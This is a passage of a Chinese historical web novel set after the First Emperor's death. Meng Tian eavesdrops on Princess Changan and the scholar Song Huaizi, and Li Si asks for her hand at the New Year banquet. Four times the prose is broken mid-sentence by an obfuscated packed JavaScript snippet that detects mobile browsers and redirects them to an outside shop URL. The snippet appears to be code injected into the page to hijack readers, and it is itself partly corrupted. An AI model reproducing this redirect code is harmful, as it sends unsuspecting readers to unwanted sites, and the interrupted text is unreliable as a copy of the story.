宋怀子的手在他眼前晃了晃,“你怎么了?” “先生,”蒙恬回过神来,“其实梦境和现世也并非完全重叠。” 宋怀子迤迤然地凭在绘有羽人戏虎云气纹的漆几上,十分闲适,“愿闻其详。” 梦魇中生离死别的钻心之痛再次涌上心头,蒙恬的眉头微微皱起,“梦境和现世的唯一不同是——我不是孤家寡人,而是有妻有子。赐死的诏令到达阳周的时候,我妻竟毅然决然主动赴沙丘替我陈情。” 宋怀子微微颔首,“听起来是位勇敢果毅的女子,那么她可是你在现世认识的人?” 蒙恬摇摇头,“我看不清她的相貌。不过,她身上有一股浑然天成的矜贵之气。可以想见,那种时候还能毅然决然赴沙丘替我陈情的女子,想必是位性情坚毅又出身显贵的女子。” 宋怀子随意地玩笑道,“论及显贵,恐怕这世上再也没有比天家公主更显贵的女子了。” 宋怀子随口一提的玩笑话却让蒙恬深邃的眸子颤动了一下,他想起了秦廷会审后他见到长安公主的情形,虽是初遇,心头却莫名涌现出千头万绪,颇有一种故人重逢、不敢近前之感。 看着蒙恬真的陷入了沉思,宋怀子反倒是慢悠悠地啜饮了一口热浆,打趣道,“你该不会真的觉得梦中的妻子是位公主吧,甚至,就是三年前你曾经拒婚过的长安公主?” 虽然被一语戳破心事,蒙恬捏着漆卮的手反而放松起来,“其实秦廷会审之时,我已经准备好为忠信节义赴死,未曾料到公主肯摒弃前嫌为我仗义执言。” 宋怀子挑了挑眉,有些难以置信,“她?摒弃前嫌?仗义执言?” 蒙恬以为他也是对传闻中恣睢骄横的长安公主持有偏见,便继续解释道,“是。某实在未能料到公主在秦廷会审上的仗义陈辞会如此精彩。” 从前只听闻长安公主是个恣睢骄纵的天家贵女,在他看来,恣睢之人大多无礼,骄纵之人大多浅薄,而她——似乎超越了这种偏见。 宋怀子继续问道,“如何精彩?” 想起当日之情形,蒙恬的唇角微微上扬,“公主辩术之精彩颇有当年商鞅‘舌战群臣’的风范。” 宋怀子揣着手故意促狭地反问,“这是赞叹之辞吧?” “然也。”说着,他又想起离去之长安公主对他的那些奚落,面上微微有些赧然,当即饮了一口热浆遮掩,“公主的辩术就连我也有些‘招架不住’。” 宋怀子哈哈一笑,“莫说是你,就连老夫也时常是其‘手下败将’。” “怎么,宋子似与长安公主颇为相熟?” 宋怀子还要说什么,却听到侍奉宋怀子的学僮禀告道,“宋子,长安公主到了。” 听到学僮的通报声,宋怀子似是才想起来什么,“哦,人老了记性也不好了,差点忘了与公主今日有约。” “公主?” “是。”宋怀子有些为难,“恐怕要劳烦蒙君先避一避了。” 想起那日她拒他于千里之外的漠然,蒙恬有些自嘲地笑了笑,“公主对昔日拒婚一事还心存芥蒂,并不想见我。那我就先告辞了。”说罢就要起身离开。 学僮却面露局促,“从孤竹亭出去只有一条小道。蒙君若现在出去,一定会遇到公主。” 宋怀子适时出言解围道,“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362079|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如蒙君就暂且在这屏风后面避一避吧。” 蒙恬看了一眼陈放在孤竹亭内的彩绘螺钿漆屏,足有九尺高,完全可以掩盖住他的身形。 事发突然,他也只能做一次屏后君子了。 ————————— 学僮将嬴略引入孤竹亭内,她和宋怀子之间并未客套那些君臣师生的繁文缛节,直接就在宋怀子面前坐下了,俨然是相熟已久。 未免嬴略察觉到竹席上尚有余温,学僮机智地在竹席上添置了一个云纹漆支踵。 嬴略不疑有他,这也是她燕居时惯用的坐具。 坐定之后,她的目光首先落在了宋怀子案前的《庄子·齐物论》竹卷上。 “宋子‘离经叛道’已久,怎么今日又把道家经典拿出来翻阅了。” 宋怀子仍旧揣着手,面上一片从容,“适逢今日有小友前来与我探讨‘庄周梦蝶’,我便拿来翻阅一二。” 嬴略刚要饮用面前的茶,闻言又将手从尚有余温的漆卮上放下,“早知宋子今日有客来访,我便不来了。” 似乎是在责怪宋怀子不该在今日与她有约的情况下还私下约见别人。 宋怀瞥了一眼她手中的漆卮,那是蒙恬刚刚用过的。 方才的学僮退下的匆忙,只添了支踵,忘了换一杯新的热茶重新端上来。 想到今日蒙恬来访的缘由,宋怀子有心出言试探道,“公主可曾做过像‘庄周梦蝶’一样虚妄又真实的梦?” 白袍之下骨节分明的手紧紧攥着,她是否和自己做过一模一样的梦魇? 蒙恬迫切地想要知道她的答案,可惜眼前的屏风太碍眼了。 然而他似乎忘记了方才接受宋怀子提议做“屏后君子”时还庆幸有这座漆屏。 尽管碍于屏风的遮挡,嬴略的声音却一如既往地清晰明了。 “宋子知道我从来不相信这些怪力乱神之事。” 听到这样的回答,蒙恬一时间不知道自己该失落还是该庆幸。 宋怀子转而寒暄起秦廷会审一事,“听闻公主前些日子在廷议上‘大放异彩’,内史蒙恬正是因为你的陈情得以保全性命。看来公主的辩术更精进了。” 嬴略并没有因为宋怀子的夸奖而洋洋自得,她的面上一片淡然,“为人臣者,以名家辩术修缮谏言固然重要,可若是未能精准揣测上意,即便说得天花乱坠也不过是逞口舌之快罢了。” 宋怀子微微颔首,“这便是韩非子所言,人主亦有逆鳞,游说者若能不触及人主的逆鳞,游说的目标就差不多能实现了。” 她停下来饮用了一口漆卮中的温茶,清泠的声音继续道,“蒙恬之所以能保全性命,功不在我,而在于他的过失没有触及东宫之争这样的逆鳞,是以陛下根本没打算杀他。” “话虽如此,如果没有你这个天子女兄在陛下面前极力陈情,恐怕陛下早被近臣说动,仓促下诏赐死蒙恬了。早前公子子婴也曾为蒙恬陈情,可惜他这个从叔关系太远了。” 嬴略这才微微露出了一抹得意的笑颜,“也不全在于关系远近,而在于谏言有道。我与陛下少小相伴,知道他最不喜欢听的就是满口仁义道德的范范空谈。” 宋怀子跟着呷了一口茶,内心哂笑,他不喜欢满口仁义道德,你也未必受仁义礼智信约束,你们姊弟俩差别只在一个脑子而已。 8. 孤竹之辩 “我向来佩服自救之人。也正是因为他复请上意,我才有机会做他的救命稻草。若是他像王兄一样……” 提及扶苏,嬴略的言语突然哽住了,那双明眸也黯淡下来,她并没有亲眼见到王兄自刎,但只要想一想便知道是何等惨烈。 “若是他像王兄一样,我也就没有办法做他的救命稻草了。” 人们往往会因为公子扶苏诗意般的名字和为人宽仁的美名下意识觉得他应该是个温润如玉的谦谦君子,反而忽略了他的另外一面。 他着实和祖上那位曾经去洛阳扛鼎的秦武王一样,同样的刚毅勇武,同样的信人奋士。 “刚毅勇武,信人奋士。这是他的优点,亦是他的缺陷。” 听到宋怀子的评判,嬴略默然,实在没有比这更贴切的形容了。 如果王兄不够“刚”,就不会因为屡谏君父而被发配至上郡监军;如果王兄不够“信”,也就不会因为一张诏书就慨然自刎。 而责令他自刎的罪名是为人子不孝。 和蒙恬的不忠不同,这个罪名实在很难评断。 若说他孝顺君父,他却屡屡反对君父的治国策略;若说他不孝君父,他却在接到君父的诏书之后毫不迟疑地应诏赴死。 其实王兄往日里参政的谏言也未必全都不可取,他原本是君父期许最高的继承人,他的政治才能也确实优于其他兄弟…… 如果他没有选择自刎,而是选择另外一条路走到“黑”,或许今时今日是完全不同的局面…… 是以,无论是何境地,存己身才是最要紧的。只有活着,一切才有可能。 宋怀子继续道,“刚极易折,强极则辱。可惜人的性情到底是难以改变的。” 他又继续安慰道,“天命不可变。连你君父这样的千古一帝都无法改变自己的命数,更遑论其他人呢。所以注定你救得了别人的手足,却救不了自己的手足。” 救得了别人的手足?! 她救的是谁的手足?难道是——毅弟! 蒙恬深邃的眸子陡然一紧,紧紧攥着的手不合时宜地和漆屏碰撞出了一道不合时宜的声响。 嬴略当即警觉地朝屏风处看去,目光在漆屏上来回逡巡,只看到了上面彩绘的周公负成王朝诸侯图。 方才的声响只是一瞬便消逝了,短暂到让人以为只不过是错觉。 她收回目光,那双养尊处优的手复又捏住了案上那只漆卮。她的身体微微向前倾斜,低声道,“宋子,代地之事出于你口,入于你耳。但凡我从别处听到,我都不会承认此事和我有任何干系。” 无论她的神态有多么像她母亲,那双明眸始终昭昭若始皇在世。 宋怀子轻哼一声,完全不为这个女娃的威胁所动,面不改色道,“公主放心,宋某方外之人,避世久矣,怎会自寻烦恼掺和这些世俗纷争呢。” 嬴略推开那只漆卮,冷冷起身,“如此最好。渭阳学宫是‘以法为教’的治学之地,宋子作为学宫祭酒,更当慎言慎行,为天下学士作表率。如今母亲薨逝久矣,君父也已驾崩,我一个位尊却无权的公主可保不住宋子。” 尽管嬴略面露不虞,宋怀子依旧坐在案前直言不讳,“宋某这条老命还不劳公主操心。宋某区区教书先生有什么好怕的,不比先帝尊宠的忠信之臣。蒙氏秦将,世无二心,却差点落了个身败名裂的结局。相比于蒙氏对大秦的功绩,你在廷议上替他陈情只不过是父债子偿。” 听出宋怀子话中对始皇帝的明嘲暗讽,嬴略那双明眸冷到了极点,“宋子有什么话还请明言。” “所谓‘尊宠’,虚名而已。蒙毅因先帝的‘亲近’与小人结怨,遭同僚构陷,被今上赐死。蒙恬因先帝的‘重用’被疏远皇权中心,又是北逐匈奴,又是修建直道,还得为连接秦赵燕的长城添砖加瓦,最后却几乎沦落到无力自保、无人相救的局面。” 宋怀子揭去了金玉其外的表象,嬴略却不肯承认败絮其中是内里,她反驳道,“此乃人性之恶,并非君父本意。” “人性之恶?你该庆幸蒙恬没有因为人性之恶狠下心来做商鞅第二,不然你那少弟可没有惠文王的本事保得住大秦的七世基业。” 确实,蒙恬是有实力一条道走到黑的。 他若是要反,也就用不着她替他陈情了。 不过,也正是因为他没有反,她才会替他陈情。 嬴略的语气异常笃定,“他是先帝尊宠的忠信之臣,断然不会做商鞅第二的。” “若先帝将所谓的尊宠落到实处,也就不会出现这样的局面了。追根到底,蒙氏的飞来横祸源自先帝。” 嬴略冷笑道,“宋子错了,皇帝怎么可能会有错。正如被今上赐死的蒙毅,即便日后得到沉冤昭雪,错也不在今上,而在于小人奸佞的蒙蔽。” 西风烈烈,孤竹飒飒。 嬴略泠然立于风中,宋怀子则稳坐于案前,师生二人因立场不同而成相背之势,再辩下去也不过是陷入庄子和惠子当年“濠梁之辩”的僵局。 末了,嬴略主动开口结束了这场争辩,“我出来许久,也是时候该回宫了。但愿下次我再来拜访宋子的时候,不会叨扰到宋子和他人的会面。” 离去之前,她再次瞥了一眼九尺高的漆屏,目光落在屏风之下的错金银有翼神兽铜屏座上,轻笑了一声,屏风之下露出的可不止兽足。 良久之后,衣着白袍脚着皂履蒙恬才从九尺高的漆屏后绕了出来,却见宋怀子跽坐于席上一言不发,脸上是明显的不豫之色。 蒙恬笑道,“先生世外高人,何必与一小女子计较。” “你是想说‘唯女子与小人难养也’。” 蒙恬再次与他相对而坐,亲手为他和自己新添了两卮热浆,“孔子的本意未必是专门指责女子和小人。女子,亦可为汝子也,孔子也可能是在说他不成器的弟子。其实无论男子还是女子,举凡勇敢而无礼、固执而不通事理的人都是难以教养的。” “你从前就是这么看待长安公主的?” 蒙恬啜饮了一口热浆,大大方方承认自己从前的偏颇,“从前我听闻长安公主虽明艳动关中,却是个恣睢骄横的天家贵女。这世上恣睢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362080|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之人多无礼,骄纵之人多浅薄,我确实未曾料到有一个人竟然可以同时做到恣睢偏又明理,骄纵偏又明义。” 宋怀子面色微霁,“事到如今,你打算如何?” 蒙恬谦逊地一揖,“还想请教宋子高见。” 宋怀子伸出满是茧子的食指略略沾了一些茶水,在漆案上描了四个字——凤隐于林。 寒风拂过,案上水过无痕,只剩下被风裹挟而来的几片竹叶。 宋怀子继续将手揣在袖中,微微一笑,“我听闻蒙氏先祖世居蒙山,那里倒是个好地方。” “宋子之言,我会好好考虑的。只是……” “只是你还是有些不甘心。” “是。” 梦魇预示的宿命太过惨烈,有蚀骨钻心之痛,叫他怎能甘心以消极避世收尾。 “蒙氏事秦已有三代,皆忠信节义之辈。大丈夫生于世间,空有一身材力,却不思忠君报国,活着还有何意义。恬不敢辱没先人的教诲之义,更不敢辜负先帝的厚遇之恩,绝不会为了苟活于世而做蓬蒿之人。” 宋怀子了然一笑,似乎已经预料到他的答案。 蒙氏世居东蒙山,乃古圣贤颛臾之后,周成王时封其为东蒙主,职掌东蒙山祭祀之礼。孔子曾言,“夫颛臾,昔者先王以为东蒙主,且在邦域之中矣,是社稷之臣也。”蒙氏世出社稷之臣,乃是天意。 言尽于此,宋怀子也不再继续相劝。尽管,他这个古董躯壳中盛装的是一缕两千多年之后的残魂,早已被人文主义浸润过的灵魂永远也无法和封建王朝特有的忠君体国共鸣。 作为一个穿越而来的历史学者,他曾经的工作便是旁观历史并试图探索历史发展规律。也因此他对封建制度下的王权富贵并不太感兴趣,也无意为这个新生的封建帝国引进什么惊天地泣鬼神的先进思想和先进制度。 只要稍微动一动脑子就会发现,这个时代尚且贫乏的生产力和不够先进的生产技术难以承载先进思想和先进制度的伟大变革。 正如这个时代伟大的思想家荀子所言,“天行有常,不为尧存,不为桀亡”。 历史终究有它自己循序渐进的发展进程。 然而在这个时代,并非人人都能像他这个两千年后的“时间旅行者”一样跳出历史的局限性。 是以,尽管早已知晓许多青史留名之人的天命,他也从不干涉这些人的选择。 不过,眼前之人的高光之处恰恰在于他本人执拗的“历史局限性”。历朝历代执着于忠君爱国舍生取义者都是备受推崇的,更遑论眼前之人几乎是个“完人”,以至于司马公为其做传时都找不到他的“黑点”,末了,只能找了一个“绝断地脉”的牵强理由“合理化”他的悲剧命运。 淡漠如宋怀子也忍不住想借后人的诗感慨一次,君子亭亭操,刚强能自持。夷齐饿欲死,巡远守方危。大节不可屈,真心终莫移。人心与物理,每向岁寒枝。 知晓他心意已决,宋怀子再次提及了他来时的那个困惑,“你今日来此想要解开梦魇的玄机,现在你解开玄机了吗?” 9. 白雪先期 “蒙恬似有所悟,然……仍有些事情想不通。” 这次宋怀子没有立刻解其迷思,却是望着亭外道,“下雪了。” 蒙恬闻言也跟着向外望去,果真见亭外不知何时已是天光曚昽,乱云薄暮,鹅毛大雪,纷扬而下。 未及岁首(秦已十月为岁首),竟已下雪。 “四年前的那场冬雪,也是下在岁末冬初前夕。” 蒙恬已经不记得那年的雪是何时下的,但是他知道,翻过四年前的岁末,便是三年前的岁首,先帝正是在三年前的岁首之宴上赐的婚。 宋怀子不会无缘无故提及这场雪。 “先生是说当年赐婚一事果然有内情?” 宋怀子微微颔首,“先帝一开始并没有打算盲婚哑嫁,而是托我为媒,安排你和公主在岁首之宴前先见上一面。” “但是我和公主在赐婚前并没有见过面。” “因为那年的雪下得也特别早。未及立冬,白雪先期,纷纷数日,道路难行,老夫又不幸突发宿疾,此事便搁置了。只是没想到先帝依旧选择在岁首之宴前宣布赐婚,更没想到你会拿出一个先帝都无法转圜的理由拒婚。如此拂了先帝的颜面,先帝一怒之下命你即刻前往上郡修筑工事,此事便不了了之了。” 他捧起漆卮,吹了吹热气又补了一句,“不过说来也怪,那年白雪先期也只在岁首之宴前后几日。” “我还有一事不明。” 宋怀子没有料到蒙恬还有一问。 “蒙君请讲。” “公主如何看待赐婚一事?” 宋怀子知道他想问什么了,似笑非笑道,“公主确实比你提前知道赐婚的事情,而且她并不反对这门赐婚。” 蒙恬眼神微动,莫非秦廷会审那日赵高所言并非空穴来风? “但是这门婚事确实是先帝提及的。” 宋怀子结识始皇帝近三十年,没有人比他更懂始皇帝赐婚的潜在重盘算。子婿乃半子,如果娶了他的爱女,干活就得更加卖力。但是如果不娶他的爱女,干活就会更加费力。 “公主之所以不反对这门婚事,亦是因为先帝私下对你们兄弟二人赞赏有加。因为先帝喜欢你,所以公主也喜欢你。” 这父女俩的审美一向是高度一致的。 正端起漆卮的蒙恬咳了咳,似乎是被呛到了。 “不过公主喜欢的未必是你本人,而是先帝口中的社稷之臣,更是少女心中对寤寐之思的想象。所以你拒婚之后,公主看着并不怎么为情所伤,反倒是和先帝一样被拂了面子恼羞成怒。” 蒙恬回想了一下拒婚时先帝强忍愠色的脸,又对比了一下长安公主面若冰霜的冷嘲热讽,真像是“互为表里”。 不过,平息先帝的怒气忠心戍边就好了,平息骄矜公主的怒气又该如何? 仿佛是猜出蒙恬心中所想一般,宋怀子悄言道,“以我对公主的了解,得罪过她的人在她心里永无翻身之地。除非……”他故意顿了顿。 蒙恬心中一动,不由自主地跟着问下去,“除非什么?” 宋怀子却是哈哈一笑,“老夫还没在公主这里见过‘除非’的例外。” 说罢,宋怀子也不再玩笑,起身揣着手道,“天气骤寒,老夫身体有所不适,先回居所了。” 蒙恬亦起身揖礼拜别,“今日之事多谢宋子。若非宋子如此费心安排,蒙恬竟不知此中还有如此多的内情。” 宋怀子摆摆手,“只是和蒙君闲聊一些不足为外人道的陈年往事罢了。天志。” 守在亭外的学僮应声而来,给宋怀子披上了一件羊裘,搀着他慢慢离去。 蒙恬望着他的身影逐渐消逝于茫茫大雪之中,白雪先期,雪泥鸿爪,去时的路仿佛变成了来时的路。 倘若没有四年前那场白雪先期,或者说倘使宋怀子没有旧疾突犯,此时此刻他不会是孤竹亭的坐客,而是孤竹亭的来客。 —————— 他跟在宋怀子身后穿行于孤竹亭外的茂林修竹间,时闻秦筝之音自林深而出,绿竹飒飒,西音烈烈,时而慢弹回断雁,时而急奏转飞蓬。 他以为是渭阳学宫士人所奏,便开口询问道,“诸乐之中,秦筝最苦。可是此乐的弹奏却别有一番天高广阔的疏朗之意,不知是渭阳学宫哪位士人所奏?” 宋怀子却笑得高深莫测,“那蒙君就和我一同去看看谈筝者到底是何方神圣?” 他跟着宋怀子循音而行,终得在幽篁深处见到一处亭子,名之曰“孤竹亭”。 或许是天气渐寒的缘故,亭子四周皆挂上了竹色帷幔,亭中之人影影绰绰看得并不分明。 听到亭外有人前来,亭内的筝音戛然而止。 宋怀子便站在亭外与蒙恬笑道,“蒙君精意于筝乐,不知此曲弹得如何?” 蒙恬微微一笑,宋怀子既有此问,便是与亭中人相熟,有意询问自己的见解,所以并不忌讳评点一二。 “此曲名为《塞上曲》,意在抒发戍边将士安边定远之情。奏曲者当是经常习得此曲,所以才能意会其情,曲精意确。” 顿了顿,他又继续道,“尽管尾音有阙,但瑕不掩瑜。只可惜奏曲者应未去过边塞,所以曲调未能尽数抒发塞上寥廓之意。” 宋怀子抚掌而笑,对亭中人道,“有作曲者的亲自指点,还不出来谢过?” 原来,《塞上曲》乃为蒙恬戍居塞上所作。 亭中之人缓缓起身,引得帷中一片环佩玉声璆然。须臾,絺帷被一只白皙匀称的手撩开,亭中人自絺帷中踱步而出。 出乎蒙恬意料的是,亭中弹奏秦筝的人竟然是个女子。 始见其人,耀乎若白日初出照屋梁;再见其神,皎若明月舒其光。须臾之间,美貌横生。盛矣丽矣,世所未见①。 恍若高唐神女再现世间。 见惯了各色美人的蒙恬不会轻易为美色所倾,但这次他着实有些动容。 她行至蒙恬面前,只微微俯了俯身,“多谢蒙内史指教。一向听闻内史不仅战功赫赫,还精意音律,兼善书法。今日得见,乃无虞(嬴略,字无虞,食邑长安县)之幸。” 宋怀子适时出言引荐,“蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362081|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君,此乃皇帝陛下爱女长安公主。” 蒙恬有些愣神,传闻长安公主虽明艳动关中,却是个恣睢骄横的天家贵女。而眼前之人虽然顾盼生辉,光华璀璨,却不怎么见到骄矜锋芒。 可是她明艳不可方物的脸上那双酷肖始皇帝嬴政的明眸是不会有错的。 片刻的失神后,蒙恬行礼道,“臣拜见长安公主。” —————— 蒙恬再次从如真似幻的梦境中回过神来。 他不止做过阳周惊梦那样的梦魇。 阳周惊梦之前,他还做过一些如真似幻的梦境,梦境多和一个女子有关。但是直至秦廷会审前,他都未曾看清她的脸。 他从不相信怪力乱神之事。梦境就是梦境,梦中出现的一切总是与现世似是而非,不尽相同。梦中的女子也许是蒙氏先祖有灵,埋怨他年纪渐长而未娶妻生子,故而托一佳人在梦催促。 而得知“白雪先期”的内情之后,梦中佳人的面容竟在他那些如假似真的梦境中清晰起来,赫然就是长安公主那张脸,重叠得天衣无缝。 一切的一切,或许只因那场“白雪先期”。 如果那年没有白雪先期,他和长安公主如梦中那般在宋怀子的安排下见了一面,他也许不会拒婚。 若是没有拒婚,又会如何呢? 先帝曾言,上郡苦寒寂寥,本已为卿觅得佳妇陪侍在侧,奈何卿勤劳王事,无意婚嫁,朕亦不能夺卿忠志。 若是没有拒婚,她会在先帝的安排下随自己远驻上郡,直至阳周惊变—— “将军不必再等了,夫人在沙丘平台不幸难产,母子俱亡,一家人想必能于黄泉路上再相会。” 蒙恬狠狠中断了自己的思绪,阳周惊变是一个梦魇。 幸而她没有做过这样的梦魇,那种噬骨钻心的生离死别之痛他一个人经历就够了。 —————— 宋怀子回到敦朴居内,望着窗外的雪景,提笔在新制的竹简上写道: “情不知所起,一往而深。生者可以死,死可以生。生而不可与死,死而不可复生者,皆非情之至也。梦中之情,何必非真,天下岂少梦中之人耶?人世之事,非人世所可尽。自非通人,恒以理相格耳。第云理之所必无,安知情之所必有邪!”② 侍奉宋怀子的学僮天志偷偷瞄了一眼,暗道巨子又在写一些神神叨叨的辞句了。明明他从来不喝酒,怎么总爱写一些醉话呢?他们墨家讲究的可是实干主义,也就宋怀子这种离经叛道、半路投靠墨家的巨子才有闲心干这些虚度光阴的事情。 正想着,宋怀子却是道,“代地之事有消息了吗?” 天志自袖中掏出早已收到的竹筒递给他,上面还封着墨者特制的蜜蜡。 宋怀子把封口放在火上烤了烤,拿起一把闪着奇异光泽的径路刀拆开了竹筒,泛黄的羊皮纸在烛火的烘烤中逐渐显现出一行小字。 宋怀子蹙眉看完后,便将羊皮纸烧尽了。 “巨子,要将消息告知公主吗?” 宋怀子轻描淡写道,“下次再说吧。” 10. 岁首请婚 “陛下,如今将为先帝除服,不久便是岁首朝贺之日,臣想向陛下求一件喜事。” 宣政殿内,李斯度着二世的神情,适时开口道。 胡亥一脸笑意地参详着李斯起草的二世元年诏书,十分满意。不愧是以一篇《谏逐客书》惊艳先帝、改变天下士人命运的李斯,果真有辅政大才。 他头也不回道,“何事?” “臣之长孙业已加冠,陛下女兄长安公主亦及笄久矣,臣昧死请为长孙求尚长安公主。” 胡亥脸上满意的笑戛然而止,盯着李斯道,“你说什么?” 李斯以为胡亥没听清,满心欢喜地重申,“臣昧死替长孙求尚长安公主。” 胡亥蹙眉敷衍道,“今日辛苦君侯起草诏书,先回去休息吧。此事延后再议。” 胡亥对李斯起草的诏书很满意,可李斯对二世没应下自己的请求很不满意。 李斯走后不久,胡亥便召见了郎中令赵高,“赵君果然料事如神。” 赵高受到胡亥的肯定,对答却愈发恭谨。 “高出身微贱,蒙陛下厚德润泽才擢升为郎中令,不敢不对陛下不尽心。是以臣昧死言,今陛下已立为帝,而丞相富贵无以复加却贪鄙重禄,今日能挟功求尚公主,来日就能胁迫陛下裂土封王,陛下可不要忘了田氏代齐的旧例啊。” 赵高的一番谏言字字句句如同发自肺腑,也说进了胡亥心里。 “赵君所言,实获朕心。” 胡亥龙晶般的眸子再次审察着诏书,上面的小篆依旧是那么章法规整,典雅雍穆,一派庙堂气象,只是胡亥如今却觉得写字之人却未必如他的字那般有章有法,规整忠君。 —————— 新帝元年岁首(十月初一,秦以十月为岁首)①,二世皇帝胡亥在咸阳宫的大朝正宫接受了百官朝贺之后,便按旧制置酒咸阳宫大宴群臣和宗室。 咸阳宫内因建有火墙和壁炉②,端的是暖然似春。暖意熏人,酒意更醉人。 因是岁首之宴,君臣之间并不拘礼,奉觞上寿者有之,觥筹交错有之;亲故之交,或欢然道贺,或私情相语。 酒过三巡,人人皆是隐有醉意。 也许是侍酒的宫人也被殿内的酒意醺到,竟失手将御酒撒到了长安公主嬴略的裙裾上。因是岁首朝贺的夜宴,嬴略并没有当场发怒斥责,但此事毕竟是侍酒宫人失职,他很快就被永巷令命人悄无声息地带了下去处置,并未引起太大的注意。 胡亥却注意到了这件小事,偏头对他身侧的一位美人吩咐道,“你陪着公主到偏殿更衣吧。” 在胡亥身旁侍奉的韩美人柔婉地应诺,她生得佳冶窈窕,是很典型的郑卫之地的美人。 在对后宫女子的审美方面,二世倒是与始皇出奇的一致。 李斯曾在《谏逐客书》中曾言如果秦国一定要土生土长的人材和器物,则“郑、卫之女不充后宫”,可见始皇后宫的妃嫔美人多有出自郑卫之地者。就连始皇祖上那位有名的雄主秦昭襄王,也是出了名的爱听郑、卫之音,甚至由此和他的王后叶阳后闹了些龃龉。 咸阳宫岁首夜宴嬴略年年都参与,今年亦无甚新意,正觉无趣,裙裾上便被撒了酒,便随着韩美人去了偏殿更衣。 长夜之饮,酒极易乱。 嬴略离席之后不久,位于群臣上首的李斯有些突兀地起身,面色微驼,脸上却还带着不知餮足的笑意,却是旧事重提。 “陛下,今既已为先帝除服,又适逢陛下新君即位、岁首朝贺的好日子,臣想向陛下求一件喜事。” 胡亥瞥了他一眼,李斯打的主意他自然看得明白。 大好的日子来犯他忌讳,丞相可真会挑日子。可他偏偏挑中了岁首夜宴这样的场合旧事重提,大有挟众迫自己应下婚事的意思。 他不想理会,随口敷衍道,“丞相喝醉了吧。” 说着,就值守的宫人前去扶李斯下去。 “臣……”年逾古稀的李斯重心摇晃了一下,却挥退了前来帮扶他的宫人。 “臣说的不是醉话。先帝在时,屡屡称赞长安公主孝谨有加,最得圣心,且友爱手足,与陛下最是亲近。臣闻长安公主贵而有德,尊而纯良,素以端懿,故昧死求作孙妇。” 此言一出,殿内原本醉意熏熏的群臣皆清醒了不少,整整齐齐一副岁首之宴看热闹的意思。 胡亥强按下心中的不愉和烦躁,脸上挂着那种若有似无的笑意,只是这笑意一点也不达眼底。 刚更衣回来的嬴略好也巧不巧地赶上这场好戏。 皓首匹夫⑦,竟然敢打她的主意。她刚要掀开帘子现身拒绝,却被身旁的韩美人拉了拉衣袖。 韩美人并未多言,只对着她摇了摇头,示意她再等等看。 作为侍奉胡亥已久的宠妃,她自来很会揣度胡亥的意思,甚至有时候她的意思或许就是胡亥的示下。 嬴略强按下心中的冲动,冷笑了一下,她倒想看看后面还有什么好戏。 出人意料的是,胡亥并没有应下或是拒绝李斯的请求,脸上反而多了些戏谑的笑意,然后点了一个让众人完全意想不到的名字。 “蒙卿以为如何?” 王姊不是说过,蒙恬可以成为自己手中制衡权臣的利刃吗?他倒要看看这把利刃好不好用。 在场之人闻言皆是一奇,当年蒙恬拒婚长安公主一事可是在咸阳闹得沸沸扬扬,如今这又是唱的哪一出? 隔着竹帘,嬴略方才凌厉的目光也缓和了许多。 似他这种端平正直的君子,自然不想沾染这些是非,怕不是又要找一个大义凛然的理由推脱了吧。毕竟,这种大义凛然的理由他也不是第一次找了,先帝都能被他搪塞得说不出话来,何况新帝。 在群臣的侧目之中,蒙恬不卑不亢地起身,却是道。 “陛下,臣以为不妥。” 李斯的老脸早就就挂不住了。 “此事本与内史无关,内史何故与老夫过不去,非要在此君臣相欢的酒筵上阻碍两姓之好?” 当年蒙氏兄弟备受先帝尊宠的时候,近乎闪瞎了他那双精明似鼠的眼睛;好不容易等到蒙氏兄弟的光芒暗淡,还能被一个不受新帝待见的蒙恬生生碍了好事,真是没想到。 至于挑起事端的二世,他正高坐在皇位上兴致盎然地看热闹,顺便加了一把火。 “这可是内史二次‘拒婚’了,两次阻碍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368546|140833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王姊的婚事,蒙卿是得好好想个理由。” 有心之人这才明白过来,这是一个坑,一个又大又深的坑。 二世挖了这个坑,既想埋了恃功而骄的丞相李斯,还想顺道把先帝重臣蒙恬也坑一把。 